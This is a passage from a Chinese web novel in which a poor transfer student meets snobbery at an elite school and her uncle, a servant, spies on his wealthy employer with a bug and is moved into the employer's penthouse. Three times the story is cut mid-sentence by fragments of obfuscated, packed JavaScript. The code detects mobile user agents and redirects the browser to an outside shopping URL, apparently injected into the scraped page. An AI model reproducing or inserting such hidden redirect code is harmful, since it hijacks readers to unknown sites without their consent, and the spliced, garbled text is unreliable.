前面的同学是位女生,很快就转过头来了,笑得开朗,眼里却是暗藏打量,“姜珊,你父母是做什么的啊?怎么这个时候突然转学过来啊?” 有人和自己说话,姜珊有些欢喜,可一听到对方问自己父母,她心里有些难过,却还是打起精神诚实说道。 “我父母都不在了,是觉得英和教育资源比较好所以才转过来的……” 父母不在了。 女生目光掠过姜珊明显没有被精心保养过的头发还有那双粗糙的手,脸上热情的笑意淡了淡,她淡淡地说了句“英和是比其他学校好的”,就直接转过身去了。 这突然转变的态度让姜珊珊愣了一下,她拧了拧眉,嘴唇动了动,却忽然听见教室外有人喊自己。 “转学生,老师让你去拿书了。” “哦,好的,谢谢同学。” 姜珊珊扬声应了一声,也没顾得上其他,只立即起身去拿书了,所以也没注意到她离开后前桌两个同学的窃窃私语。 “……怎么样?什么来头?” “好像是个孤儿,父母都死了,看不出什么来头,她的手和头发都很粗糙,一看就是根本就没保养过,应该来头不大。” “那就奇怪了,这样的人还能转学来英和?” “不会是哪家新找回来的私生女吧……” “……” 除了特定面向普通学生的特招名额外,英和每年招收的基本都是家世斐然的学生,所以整个英和不仅仅是学习的象牙塔,还是年幼的权势子弟们往来的社交平台。 在英和社交圈中,家世是通行证,父母身份是社交名片,家世从高到低像金字塔般无形地将学生们分成了三六九等。 不过是一个课间的功夫,有关于转学生背景的话就传遍了整个班级,等到姜珊珊回到班上的时候,能明显地感受到那些原本隐隐带着打量和审视的视线少了许多。 姜珊珊松了口气。 她其实不是什么都不懂。 这个学校明显和自己原来的学校不一样,学生们无论是外貌还是气质都和她原来学校的同学截然不同……他们看起来就和自己曾经在庄园窥视过参加宴会的宾客一样。 可这些和她都没关系。 姜珊珊拿出下一节课需要用到的课本,翻开了几页开始预习,现在她最重要的就是在这所学校里好好读书,以后有出息挣大钱,给小叔养老。 时间流逝飞快,一周后,姜珊珊也逐渐适应了这个学校的生活。 英和的学生虽然大部分出身优越,可因为学校管理严格,所以那种学生仗着家世好就肆意霸凌家世差的情况并不常见,对于家世差且明显没有表现出太多价值的人,他们的态度基本就只有一种——漠视。 不可否认,这种态度让姜珊珊适应良好,英和的教育资源是顶尖的,她就如同一块失水的海绵一般不断疯狂地汲取着各种知识。 除了学习,人际方面也有了发展,她身边也有了两个能够聊到一起的朋友了,每天一起吃饭学习。 一天傍晚,下完课后,三人又凑在一起吃晚饭。 英和有三个食堂,每个食堂都有自己的特色菜系,因为拥有学生家长们庞大的捐赠,食堂一楼的饭菜大多物美价廉,很受特招生们喜欢,而二楼三楼则是价格比较贵的菜色 姜珊珊也是在一楼吃的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338371|199276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >一楼食堂人不多,她和两个朋友已经打好饭菜坐下了,这时食堂外传来了一阵吵闹声,三人循声望了过去。 门外走进来几个人。 几人身上都穿着英和校服。 走在最前面的男生领带松松垮垮地系着,嘴角还带着青紫,眉眼桀骜不驯,泛着冷意的面上只有听到身旁的女生说话时才会柔和一瞬。 而女生长相秀丽,气质温婉柔和,被几个男生众星捧月般簇拥在中间,看起来格外地耀眼。 “果然是英和小公主啊,这架势,真够众星捧月的。” 听到身旁好友赵晴低声的慨叹,姜珊珊有些好奇地看了过去,赵晴嘿嘿一笑,凑到两个两个好友耳边就低声八卦地说了起来。 英和几乎聚集了京都上层年轻一代大部分的家族子弟,关系交错复杂,这家与哪家有联姻,谁谁又和特招生谈恋爱了……各种层出不穷的八卦在校园论坛上漫天飞舞。 阮知意不仅家世斐然,就连长相成绩都是拔尖的,自从入学后身边就经常围绕着一群家世顶尖的男生,一直以来都是英和的风云人物。 霍邱同样是论坛上被人频繁讨论的常客,他是这个学期开学的时候突然转过来的,一来学校就和隔壁学校的人打了好几架,是个天天被教导部点名的人物。 他生得好,听说家世也不凡,所以一入学就像石子落水般扰乱了不少女同学的春心。 学校里和他表白的女同学有不少,可几乎每一个都会被对方讥笑吓退,这么多学生里唯一能够得到他好脸色的也只有阮知意了。 “……听说他们好像也是青梅竹马,只是以前霍邱不在京都读书。家世好,成绩好,又长得这么漂亮,真的像极了小说里的万千宠爱的女主角……” 说这话的时候,赵晴目光再次落在那一行人的背影上,眼里浮现出一抹羡色,毕竟那个女孩会不喜欢被别人万千宠爱、众星捧月呢? 姜珊珊却没有注意到好友的羡慕,她认出了走在最前面的那个男生就是自己曾经在霍宅见到过的那位小雇主。 不过也没太在意,只觉得小叔说的因为他做事做得好所以雇主奖励叔叔让自己让自己转到这个学校这件事应该是真的。 食堂三楼。 “快到寒假了,今年寒假你们有什么安排吗?要不然我们一起去拉普兰滑雪吧。” 柳昭兴致勃勃地开口。 阮知意也笑着应和,“好啊,正好阿邱也在,我记得阿邱滑雪比我们这些人滑得都好。” 说着,看向霍邱,眸露期待。 迎着两人期待的目光,霍邱沉默了一下,还是说,“你们去吧,我寒假打算去疗养院陪爷爷,就不去了。” 柳昭闻言,有些失落。 却也理解地点点头。 “也是,老爷子自己一个人在疗养院也孤独,你既然已经回京都了,也的确应该花多点时间陪陪老爷子。” 霍邱唇角勾了勾,眼里却没什么笑意。 “你不去,那我也不去了,那到时候我和你一起去陪霍爷爷吧。”阮知意眉眼弯弯,天真稚意,“我也有大半年没见过霍爷爷了,正好亲手做了个砚台,正好可以送给霍爷爷。” 霍邱眸色逐渐温和,落在阮知意身上的目光也愈发柔和。 得嘞,又谈情说爱起来了。 柳昭拧眉,百无聊赖地移开目光,他目光居高临下地往下看,很快就注意到了一个熟悉的身影。 “呦,那不是我之前在你家看到的那个小妹妹吗?原来她也在这里读书啊?” 柳昭的话引起了两人的注意。 霍邱循着柳昭的视线看过去,也注意到了姜珊珊,他眼底漠然,对于柳昭的话没有太大的反应。 倒是同样注意到人的阮知意有些好奇,“阿昭你认识她?她是谁啊?” “没谁,不过是之前在阿邱老宅见过一次,阿邱说是佣人的孩子。” 佣人的孩子? 什么佣人的孩子能够在英和读书,阮知意眸色微闪,若有所思,“我听说一些人家里把佣人的孩子送到和自己的孩子在同一个学校读书,也方便照看自己的孩子……” 一些家里对孩子掌控欲强的人的确会有这种做法,只是要换成如今霍家,把照看换成监视更为合适。 柳昭心里嘀咕着,转眼看向霍邱,果然见他脸色冷了下来,看向那个女孩的目光也隐隐泛着寒意。 7. 豪门契约文里的白眼狼老男人佣人7 另一边,姜胥在确认了姜珊珊已经成功转去了更好的高中后,他就不怎么关心了,只将注意力放在每天的工作以及鸭舌帽男的联系上。 窃听器虽然放得隐蔽,但能够被发现的概率还是不低的,所以接下来的几天姜胥一直提心吊胆的,就生怕那天被发现了自己也像王姐那样被打得头破血流。 可一连几天,都风平浪静。 直到姜胥再次得到命令,趁着又一次打扫书房的机会把窃听器成功取出来后,他才算是彻底松了口气。 从执行到完成,整个过程虽然有风险,但也可以说得上是顺风顺水,在意识到这一次任务彻底成功后,这让姜胥心里的恐惧减少了一些……他觉得自己只要自己注意点,应该不会那么容易被发现。 姜胥是个心大的人,意识到这一点后,他心里最后那点顾虑就被丢到九霄云外了,剩下的只有对每次任务过后的高额酬劳的渴望,甚至还开始期待起下一次任务的酬劳。 只是让他失望的是,这个任务过去后,鸭舌帽男很久没有再次联系他了,即便是他试探性地发了个消息过去,得到的消息也是让他耐心等着。 不过没关系。 酬劳已经到手了。 盯着桌面上那张普普通通却实实在在存着一百万的卡,姜胥眼神有些灼热。 其实一百万加上最近攒的钱也足够在帝都偏远的地方付一套房子的首付了,可姜胥盯着卡,想了很久,最后还是没有决定立刻就用这个钱去买房子。 既然钱这么好挣,那为什么不等等呢。 等再攒多一点钱,就能买一间更大更好的房子了,到时候媛媛肯定就会更加愿意嫁给自己了。 姜胥喜滋滋地想着,忙把卡藏进了自己房间的保险柜里,保险柜是拿到卡那天他就自己买来装上的,就是为了好好地藏这张卡。 接下来的这段时间,姜胥在庄园工作时也更加兢兢业业,不过有了一百多万的底气,他周六周日也不再在外面接私活,反而是更加喜欢和自己女朋友待在一起,两人的感情也更盛一步。 “……等攒得再多一些,我们可以买一个地段好点也更大一点的房子,最好是学区房,到时候咱们的孩子上学也方便……” 姜胥絮絮叨叨地说着,话里话外满是对未来婚后生活的期盼,完全没有发现自己女朋友许媛面上已经略显僵硬的笑意。 一大堆话说完,口也渴了。 两人才看完电影,正坐在电影院外的咖啡店里约会,两人进店时各点了一杯咖啡,这会儿咖啡已经上来了。 端起咖啡了喝了一口,满口又苦又甜的滋味,姜胥皱了皱眉,也不明白那些在写字楼里上班的人怎么就这么爱喝这玩意儿。 他喝了一大口,只觉得舌根都是苦的,想要吐出来,可看着坐在身边望着自己的女朋友,又只能拼命地往下咽,整个表情都皱皱巴巴的。 被他的表情逗笑了,许媛抿唇一笑,抹着口红的嘴红润饱满,此时弯成了一个弧度,分外娇艳。 姜胥被这抹娇艳摄了心神,他怔怔地盯着,视线粘在那抹红润上,咽了咽口水后下意识地就想靠近。 男人的面容在眼前逐渐放大,许媛脸上的笑容却越来越僵,她扯了扯嘴角,状似无意地垂眼喝了口咖啡,就这么“恰好”躲过了对方凑过来的脸。 姜胥回过神,耳根发热。 又给自己灌了一口咖啡,才勉强压下心尖的那点躁动,可眼神还是控制不住地往女朋友身上飘。 他这个年纪,其实也是想女人的。 从确定恋爱关系到现在都快有两个月了,自己和女朋友最亲密的接触也只是牵牵小手,连亲都没有亲过,更别说其他了。 都两个月了,是不是可以再进一步了。 不做别的,亲亲抱抱应该是可以的吧……姜胥看着女朋友,脑子里那些属于男性的遐思咕嘟咕嘟止不住地往外冒。 喝完咖啡,时间还早。 因为是周末,姜胥一整天都是有时间的,所以在喝完咖啡后,他想着还可以和女朋友再去其他地方逛一逛。 可不料话才一出口,就被女朋友拒绝了。 “你明天还要上班呢,还是早点回去休息吧,我明天早上也要上班呢。”许媛温温柔柔的说道。 可现在还很早啊,姜胥下意识地想开口,就见许媛已经起身直接离开了,他把话咽了回来,心里不免有些失落。 第二天一早,来到庄园的姜胥正准备像往常那样进入厨房,为雇主准备早餐的厨师们打下手,却忽然从林管家哪里知道了一个出乎预料的消息。 “我要被调走?调去哪啊?” 不会是调去疗养院吧? 如果真的被调去疗养院了,那自己那份私活怎么办啊?姜胥顿时就有些急了,连忙看向林管家。 “盛园那边目前缺个佣人,所以就把你调过去了,如果愿意的话你明天我就带你过去,要是不愿意的话我就再选其他人。” “我当然愿意。” 姜胥当即答应了下来。 在庄园工作了这么久,他也是知道的,雇主霍先生一周也不过回庄园几次,一个月几乎大部分时间都是会留在自己的私人住处那边。 如果能够在雇主的私人住处工作,那么能够接触到那些文件资料的机会也会更多一些,这样想着,姜胥面上多了几分殷切。 见他积极应了下来,面上没有太多负面情绪,林管家点点头,心里也有几分满意。 从私心来说,他个人是不怎么认可把姜胥这个新人拨去照顾先生这个决定的,毕竟姜胥只是个新人,平时在庄园里也只是做些清扫打下手的闲散活,完全没有太多照顾人的经验。 可人是先生亲自指定的,他有再多的顾虑也只能放到一边,这样想着,林管家扫了眼神色殷切的姜胥,又想起先生让他将人调进主楼和安排打扫书房的事,慈和的眉目浮现些许疑惑。 也不知道是不是他的错觉。 他总觉得先生对眼前这个新招的佣人太过关注了。 不过这样的想法只是一闪而过,林管家也没有深思,只让姜胥停下了手头上的工作去找苗姨,让苗姨再给他叮嘱一些需要注意的方面。 第二天一早,就在林管家的带领下来到了地方。 不是老宅那种占地面积极广的庄园,也不是独栋的别墅,而是一处处于高楼顶楼的复式大平层。 有钱人真的好奢侈啊。 一个暂时的住所而已,居然也要住在这么好的地方,乘坐着独立电梯而上,姜胥盯着电梯门上倒映着的自己,有些艳羡地想着。 电梯很快就来到了顶层。 林管家领带了姜胥进去。 才一进门,姜胥的目光就控制不住地落在了这座顶层复式上,大平层看着像是上下两层的结构,整体偏冷色调的黑金色布置,两百七十度的全景落地窗让人能够居高临下,将整个繁华的京都商业区尽收眼底。 虽然看起来没有独栋别墅面积大,可内里却什么都有,除了屋内的一切,姜胥还能看到屋外的宽阔的庭院,庭院里甚至还有一个面积不比老宅小的游泳池。 时间还早,雇主显然还没有从睡梦中醒过来,林管家带着姜胥在这里走了走,刻意压低了声音,又说了一些需要注意叮嘱的话。 “先生每日的饭菜会有专人上门负责,所以厨房的事你不用多管,每天要做的就是日常收拾一下房间客厅这些,和你一起工作的还有一个阿姨,姓陈,你可以叫她陈姨……” “她在这边工作以及有几年了,有经验,等一下你要是有什么不明白的可以直接问她……” “顶层是先生一个人住的,下面两层则是佣人厨师保镖司机的住处,你住的地方要是距离这里太远,也可以在下面选一个房间住进去,早午晚饭你就在下面吃……” 叮嘱完后,林管家直接离开了。 客厅里只剩下姜胥一个人。 出租屋距离市中心商业区很远,姜胥六点多就起来,没来得及吃早餐然后就挤公交挤地铁才按时在七点半前赶到市中心。 本就又困又饿,然后又被林管家塞了一大堆要注意的事项,在林管家离开后,紧绷的情绪缓缓放松,整个人都处于一种空茫的状态。 几分钟后,他终于回过神。 然后兢兢业业地想要开始打扫卫生,边扫着还边将整座顶层复式的装横布局都细细地看了一遍。 他不懂什么装横布局设计这些,可看着整间房子只觉得前几天和女朋友去看的那套本来还挺满意的房子比不上眼前这座顶层复式的万分之一。 要是这座房子是自己的该多好啊,媛媛肯定会很高兴吧,也许会立刻答应自己的求婚也说不定呢…… 时间到了八点,为雇主准备早饭的人已经上门了,很快,各种食物的香味不断地从厨房里传出来。 姜胥嗅着空气中食物的味道,本就没有吃早餐的肚子就更饿了,他眼神不断得往厨房的方向飘,手里鸡毛掸子打扫的动作也开始变得迟缓起来。 快八点半的时候,早饭做好了,明明只是雇主一个人吃的早饭,却在桌上摆得琳琅满目。 负责早餐的人做完后直接就离开了,做好的早餐就这么直接得摆在餐桌上,也不用个盖子盖着,空气中属于食物的香味更加浓郁了一些。 姜胥咽了咽口水。 手里的动作彻底停了下来。 做了这么多,再不吃就得凉了吧,这些都是偏粤式的早餐,凉了就不好吃了……这样想着,姜胥犹豫着要不要喊雇主起床。 正想着,就听到身后有脚步声。 姜胥一个激灵,猛地转过身,果然就看到自己身后几步外站着一个高大的身影,他攥着鸡毛掸子背过了手,语气平稳恭敬,“先生。” 几步外,房门已经打开。 身量高大的男人穿着一套修整的黑色西装,剪裁精确,指尖漫不经心地整理着领带,幽沉的眸子在眼前恭敬的男佣人面上停留了一瞬,很快又移开。 他点点头,来到了餐桌前坐下,语气平淡温和,“你只需要和陈姨一样每天打扫卫生就可以了,其他地方你可以和陈姨分工合作,至于书房的收拾就交给陈姨就好,你不用管。” 姜胥心猛地一跳,攥着的手忍不住收紧,他只觉得对方的话像是在意有所指,可抬眼看着男人平静无波的面容,只能尽量地忽视心底的不安,慌乱地垂眼点头应下。 叮嘱完后,雇主吃起来早餐。 莫名的不安被压下,饥饿感再次传来,姜胥目光不经意上移,就见雇主夹了个虾饺放进嘴里。 他抿了抿唇,垂下眼。 想到之前和女友曾经去粤式餐馆吃过的一次早点,回忆起虾饺吃进嘴里弹牙的口感,明明是没有多大味道的早点,可姜胥只觉得自己已经嗅到了虾仁的咸鲜。 雇主很快就吃饱了,离开的餐桌。 姜胥状似无意地扫了眼餐桌,在发现摆出来的几样早点基本已经吃完后,他眉目敛起,唇角那本来就浮于表面的笑意也变得有些勉强了。 全都吃完了。 霍延诏眼底流露出几分莫名笑意,瞥了眼自己空荡荡的手腕,唇角勾起,“去房间帮我选一个手表拿出来,在衣帽间里。” “好的,先生。” 姜胥打起精神,进了房间。 和整个顶层一样,整个房间的装横也是偏冷色调的,灰黑色的大床再加上幽暗的灯光,一股冷肃感扑面而来。 才一进房间,姜胥就闻到一股气味,闻着有点像柑橘味,又有点像他曾经在山上采到过的草药的味道,他深吸了一口,只觉得有些好闻。 他没有过多停留,直接进来衣帽间,而才一进入,他整个人就彻底愣住了,恍惚地觉得自己不是进入一个衣帽间,而是进入了一个他曾经在网上见到过的奢侈品展览会。 衣帽间里,灯光璀璨。 一百多平米的衣帽间里,房间四面都是透明的玻璃柜门,每一个玻璃柜门,都被各种肉眼可见的昂贵用品给填满。 整套西装、休闲服、鞋子、领带、手表、袖扣……整齐摆放在每一个玻璃柜门后,在泛黄的灯光的照射下,琳琅满目,熠熠生辉。 姜胥久久不能回神。 也有些不敢进去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338372|199276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 只觉得一进去要是碰坏了什么东西,把他整个人卖了都赔不起,可要拿手表还是必须要进去的,所以犹豫了一下,他还是轻手轻脚的进去了。 很快来到放置手表的区域。 表盒里陈列着一个个的手表,手表随着表盒不断转动,在灯光的照耀下,流光溢彩。 姜胥看得眼花缭乱,也不知道要选哪一个,毕竟雇主也没有明说,所以他视线在一众手表上看了一会儿,然后从里面选了一个黑色表盘表带的。 选完后,他关上柜门。 却没有立即离开,反而是从裤袋里拿出手机,对着整个放手表的玻璃柜拍了几张照,才拿着手表出了衣帽间。 “先生,这个可以吗?” 霍延邵看了眼姜胥手上的手表,点点头,语气平常,“可以,帮我戴起来吧。” 姜胥怔了怔,却还是几步走近,两人之间的距离越来越近,他甚至能从闻见雇主身上那股和房间里相似的气味。 从初中开始就和一些狐朋狗友勾肩搭背,所以姜胥也并没有觉得有什么不自在的,他注意力放在手表上,想要打开表带给雇主戴上,可指尖在表带里外摸索了一圈,还是没有找到打开表带的方法。 他蹙了蹙眉,悄悄看了眼雇主。 雇主似乎正在接着电话,说出口的话是自己完全听不明白的外语,姜胥眼睫眨了眨,指尖再次在表带内外摸索了起来,兴许有些急,他动作也有些躁。 随手挂了电话,霍延邵垂眼饶有兴致地看向站在自己身前的人,男人垂着眉,睫毛在眼睑下投落一片阴影,唇瓣抿着,白皙的指尖在表带上游移着,半天找不着暗扣。 他眉骨微挑,却并不急着提醒,反而是眸光落在面前的人身上,有些兴味地看着他因为不会戴而逐渐急躁的模样。 眼看着他越来越急,甚至指尖都想强行扣下表带上的暗扣,霍延邵笑了笑,伸手在表带上捏了一下,暗扣随之松动,整个表带也松开了。 姜胥抿抿唇,顺势将手表套进雇主的手里,雇主的手十分宽大,手指修长,骨节分明,手背上隐隐还能看见淡淡的青筋脉络,格外虬结有力,戴上手表后更显贵气。 看着雇主的手,姜胥下意识地看了眼自己的手,他从小没受过什么苦,手和脸一样白皙,五指细长,指尖圆润……当然也是好看的,只是相比于雇主的手,有些太白了,显得不太男人。 他下意识地收回了手。 “先生,可以了。” 霍延邵点点头,像是没有注意到佣人收起指尖的举动。 衣着整理妥当,雇主要出门了,姜胥恭敬地守在大门旁,给对方递上出门需要带的东西,尽职尽责地做到一个身为佣人的工作。 “管家有说安排你住哪里吗?” 离开之前,霍延邵问了一句。 “管家已经说了,安排在楼下和其他同事们一起住。” “他说错了。” 霍延邵扯了扯被自己系得有些紧的领带,喉结上下滚动,他垂眼看着微微弯着腰的男佣人,眸光落在那细细的腰上,笑了笑。 “你住这里,住我对面的那间房间。” “住这里?” 姜胥眼睛睁大。 管家也没说啊。 管家不是说雇主很讨厌和外人共处一室吗? “是的,住这里,等下让司机送你回去收拾东西,收拾完后就直接住进来。” 说完后,他直接离开了,徒留下被他的话惊到的姜胥整个人怔愣在原地。 回过神,姜胥连忙摸索出手机,直接一个电话打到了林管家哪里,等到接通后,他急忙一五一十地将刚刚雇主说的话转述了一遍。 说完后,又挠挠头,小心翼翼地问,“……林管家,那我应该住哪里啊,应该是住楼下吧,你不是说先生很讨厌和别人共处一室吗?” 要是自己住在顶层,吃喝洗漱什么的,雇主总是免不了看到自己的啊? 那这算什么? 姜胥觉得奇怪又莫名的不安,总不能是他做的事已经东窗事发了,人家雇主想要把自己放在眼皮子底下看着吧? 这也太奇怪了。 是啊,这也太奇怪了。 电话那头的林管家脸色有些异样,他想起刚刚先生打电话过来交代的事,神色变换几下,最后还是压下了心里那点异样,语气平和稳定。 “既然是先生的安排,那你照做就可以了,最近这段时间先生应酬比较多,可能是觉得你住在上面晚上工作的时候方便。” 晚上工作? 他晚上有什么工作? 煮醒酒汤吗? 这算不算加班啊? 姜胥还是有些不解。 可有了林管家的话,他还是松了口气,心底那点不安又再次被扑灭,无论什么原因,只要不是自己偷递消息东窗事发就行。 挂了电话,饥饿感再次传来。 姜胥脸色有些恹恹。 他垂头耷耳地来到餐桌边,看着已经被吃得只剩下一点点粥的早餐,只能拿了个干净的碗盛了点白粥喝了起来,一小碗白粥下肚,饥饿感这算是平复了一些,可也仅仅只是平复了一些,胃里还是饿的。 正犹豫着要不要下楼去买点东西吃,却听见玄关处传来了开门声,姜胥猛地从座位上弹起,从餐桌上拣起几个碗叠在了一起,先是熟练地做出一副认真收拾碗筷的模样,然后抬眼看了过去。 进来的是一个中年女人,年纪看起来四十岁上下,身上同样穿着佣人服,应该就是林管家嘴里的陈姨了。 陈姨进来看到姜胥也并不意外,反而是笑着说,“先不用收拾,你吃过早饭了吗?要是没吃我们还是先吃早饭吧。” 说着,她走进厨房,从厨房里端出几样早点放在了桌面上,早点还盛在蒸屉里,保持着温热。 见陈姨把所有早点都放在自己面前,自己却又回到了厨房,姜胥有些疑惑,“陈姨你不吃吗?” “我在楼下已经吃过了,这些是先生交代说留给你的早餐。” “哦哦,原来是这样,谢谢陈姨,也谢谢先生。” 8. 豪门契约文里的白眼狼老男人佣人8 吃完早饭后,姜胥就收拾东西搬进了雇主所说的那个房间。 虽说和雇主住在一起有些别扭,但看着比自己在庄园那间佣人房还要宽敞还要豪华的房间,姜胥心里也是高兴的。 草草地整理一下自己房间后,姜胥就出来了,见陈姨正在露台上整理着花草,他立即也上前帮忙浇起了花。 “房间都收拾好了吗?” 见他出来,陈姨笑眯眯地问道。 “没有太多东西,就一些衣服需要整理而已,都已经收拾好了。” “收拾好就行,那间房间一直都没有人住进去过,也就昨天打扫了一下,要是有什么缺的就说,小区里有超市,也方便买。” “好的,我知道的陈姨,谢谢陈姨。”姜胥用哄父母哥嫂的本事很快就和陈姨熟络了起来,陈姨看他的眼神很快就温和了下来,就像是在看自己家里的小辈。 因为只住着一位雇主,在顶层的日常工作并不重,几乎和在庄园时差不多,而让姜胥高兴的是,虽然工作差不多,可工资却是要比在庄园时翻了好几倍。 姜胥美滋滋,他这时候对于这个工作调动还是很满意的,只可惜,这份满意并没有持续太久。 好不容易熬过了一周,终于到了周末,姜胥正打算拾掇拾掇自己然后去和女朋友约会,却没想到从陈姨口中得到了一个晴天霹雳的消息。 “……意思是我是一周七天都要上班吗?可我之前在老宅那边也只是一周上五天的?” “在老宅那会儿是,但在先生这里是这样的。毕竟先生工作忙,身边还是随时都要有人的……这些合同上都有写的,小姜你没注意到吗?” “……” 当然没注意。 毕竟签合同那会儿他注意力都在那份翻了几倍的工资上,怎么可能还会记得看一周要上几天班。 看来他精心准备的约会真的要泡汤了,姜胥垂头耷耳,心里有些不得劲,缓了一会儿,他犹不死心。 “那陈姨,我想问一下我们大概什么时候才有假啊,我可以今天请假不?” “一般法定假期是会放假的,至于请假的话得可能得请示一下先生,小姜需要吗?要是需要的话我可以直接联系先生。”陈姨笑眯眯道。 请个假都得联系雇主吗? 不是只和管家说一声就行了吗? 姜胥有些苦恼,但还是讪讪拒绝,毕竟才被调过来上班一周,这么快请假的话也不好。 “行我知道了陈姨,谢谢陈姨。”道完谢,歇了心思的姜胥只能往回走。 看着他失落的背影,陈姨脸色有些复杂,她犹豫了一下,还是道,“今晚先生有应酬,可能会喝醉,小姜你记得煮好醒酒汤,要是有什么事记得给我打电话。” 最后一句,她语气放得很轻。 姜胥没有听出她话里的复杂,他正沉浸在失落情绪当中,听了这话随意地应了一声,就直接回了房间。 进了房间后,整个人直接躺倒在床上了,他抬头看着雪白的天花板,抿了抿唇,心头的失落怎么也掩盖不住。 本来他已经计划好了,今晚下班后和媛媛去看电影,看完电影后带媛媛去吃那家她已经期待了很久的西餐,然后问一问能不能去媛媛家,聊一聊买房子的事,试一试两人的关系能不能再进一步…… 想到这里,姜胥有些脸红。 可这一切的计划都泡汤了。 姜胥脸上的热度又下去了。 他想了想,拿出手机想给媛媛打个电话,可电话才拨出去没多久还等没接通就被挂了。 他不死心,又拨了几个。 可无一不是被挂了。 姜胥心头失落更重了。 他点开微信,发了几句话过去。 然后等了一会儿。 可等了半个小时都没收到回复。 姜胥又有些烦躁地滚了几下。 可能媛媛和自己一样还在上班吧,毕竟资本家都是黄世仁、周扒皮。 暗自安慰好自己,姜胥又开始发舔狗小作文了,发了一大堆有的没的,即便是一条回复没有也心甘情愿。 正发地起兴,手机突然有一条陌生号码的信息跳出来,姜胥随手点开了信息。 :“我听说你进盛园了?” 盛园,是雇主现在住的地方。 姜胥笑意收敛了一些。 知道这是鸭舌帽男发过来的。 他想了想,还是回了个“是的。” 那边没有再发消息过来。 但因为这个小插曲,姜胥心里对女朋友的那点想念淡了一些,心情也变得有些复杂了,他想着接下来再赚个一百万的机会,有些期待,又有些不安……总之五味杂陈。 身下的床显然是很贵的高级货,躺下去的时候微微下凹,整个人像是躺在了云彩上,柔软又舒适。 看了下时间,才四点半点。 这时候距离雇主回家的正常时间还有两个小时,如果雇主有应酬的话,那应该会回来地更晚一些。 这样想着,困倦缓缓袭来,姜胥勉强给自己调了个一个半小时的闹钟,然后沉沉地睡了过去。 时间一点点过去,手机调好的闹钟响了又响,可床上熟睡的人却迟迟没有醒过来。 良久,等到天几乎完全黑了下来后,熟睡的人才缓缓睁开眼。 窗帘已经被拉上,房间里一片漆黑,姜胥睁开眼睛看着漆黑一片的房间,头有些迷糊,一时间有些分不清现在是白天还是黑夜。 他打了个哈欠,从床头处摸索出手机点开,屏幕亮起散发出刺眼的光,他有些不适应地闭了闭眼,然后看向屏幕上的时间。 “靠!” 砰地一声,姜胥整个人从床上弹了起来,嘴里不断地念叨着完了完了,连乱糟糟的头发都来不及疏离,直接打开门就出去了。 房间外的客厅没开灯,同样是一片漆黑,不知道是因为雇主还没回家还是因为雇主已经休息了。 姜胥心里有些忐忑。 他想了想,来到了隔壁雇主住着的房间,房门依旧紧闭着,下方门缝没有一丝一毫的光亮从里面透出来。 这是还没回来? 姜胥心下一松。 随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338373|199276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后转身离开,准备去厨房按照陈姨下午时叮嘱的那样先准备好醒酒汤。 房子里太黑了,路过客厅的时候,姜胥顺手把灯给打开了,暖白色的灯光一亮,整个客厅都亮堂堂。 正要去厨房,眼尾不经意一扫,余光却瞥见了一个坐在沙发上的身影,姜胥脚步猛然停住,然后倏地看了过去。 沙发上,不算起眼的角落里。 男人身上那件一丝不苟的西装外套已经褪去,正随意放在沙发上,领带已经解开的衬衫微微敞着领口,喉结似有似无地滚动。 他似乎已经醉了,正仰躺在沙发上沉沉地睡着,平日里那双深不见底像是能看透人心的眼眸微微阖着,身上也没了那股身居高位多年所给人带来的压迫感。 ……是雇主。 姜胥呼吸下意识地放轻。 随后就是纠结。 都已经睡着了,那醒酒汤应该就不用了吧,毕竟自己总不能硬生生给对方灌醒酒汤吧……这样想着,他抬脚朝着雇主的方向走去。 本来就是自己睡过头失职了,这会儿要是还让雇主睡客厅的话,那明天他就可以卷铺盖走人了。 姜胥走近,垂眼看着雇主那张熟睡的脸,忽然有些出神,不知为什么突然想起几个月前他刚在霍家老宅那会儿老被人嘲笑的一个称呼。 小白脸。 他是挺白的,但也比不上这位雇主白,这个雇主的皮肤是冷白的那种,所以还是这位雇主更加适合“小白脸”这个称呼。 天马行空地想着,他弯腰将雇主的手搭在自己肩上,然后将人带离了沙发,朝着房间的方向走去。 打开门,房间没有开灯,姜胥两只手都扶着人也没有手去开灯,只能摸黑地将人扶进房间。 从房门到床的距离不算太远,一开始姜胥还扶得好好的,可在靠近床的时候,脚不知道被什么东西绊了一下,姜胥整个人连带着扶着的雇主都朝着床的方向扑了过去。 嘭! 两人重重地砸在了床上。 嘶。 天旋地转,姜胥被砸地心口一阵闷痛,可他这时候的注意力却完全不在心口上,而是在嘴上。 像是被什么硬邦邦的东西磕了一样,丝丝痛意从唇上传来,紧接着就是带着淡淡酒气的温热触感。 姜胥先是愣住,意识到什么后眼睛瞪大,立即猛地伸手把压在自己身上的人推开,然后整个人从床上弹坐了起来。 